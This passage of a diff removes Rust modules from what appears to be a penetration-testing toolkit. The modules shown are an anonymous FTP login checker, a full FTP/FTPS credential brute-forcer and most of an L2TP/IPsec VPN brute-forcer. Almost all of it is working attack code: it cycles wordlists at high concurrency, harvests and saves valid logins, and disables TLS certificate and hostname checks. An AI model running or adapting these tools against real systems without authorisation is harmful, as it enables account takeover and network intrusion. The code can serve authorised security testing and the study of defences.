||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(msg: &str) -> Result<Option<String>> {
|
||||
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
})
|
||||
}
|
||||
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let clean_target = target.trim_matches(|c| c == '[' || c == ']');
|
||||
let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
|
||||
|
||||
let url = if is_ipv6 {
|
||||
format!("https://[{}]:{}", clean_target, port)
|
||||
} else {
|
||||
format!("https://{}:{}", clean_target, port)
|
||||
};
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"fortinet_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
ftps = ftps
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,381 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
};
|
||||
use std::path::Path;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean_target = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean_target.contains(':') {
|
||||
format!("[{}]:{}", clean_target, port)
|
||||
} else {
|
||||
format!("{}:{}", clean_target, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500")?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
};
|
||||
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
|
||||
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for pass in &passes {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if !users.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", file_path.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(true);
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = addr
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(addr);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp_tls.quit().await;
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
|
||||
.unwrap_or_else(|| PathBuf::from(input))
|
||||
}
|
||||
@@ -1,673 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use regex::Regex;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== L2TP/IPsec VPN Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Optional: Pre-shared key (PSK) for IPsec phase
|
||||
let psk = prompt_optional("IPsec Pre-shared Key (PSK) - optional, press Enter to skip")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "5")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "15")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "l2tp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let addr = normalize_target(target, port)?;
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
if psk.is_some() {
|
||||
println!("[*] Using IPsec PSK authentication");
|
||||
} else {
|
||||
println!("[*] No PSK specified - will attempt without PSK");
|
||||
}
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
if combo_mode {
|
||||
// Try every password with every user
|
||||
for user in &users {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for pass in &passwords {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let psk_clone = psk.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Try passwords sequentially, cycling through users
|
||||
for (i, pass) in passwords.iter().enumerate() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let psk_clone = psk.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
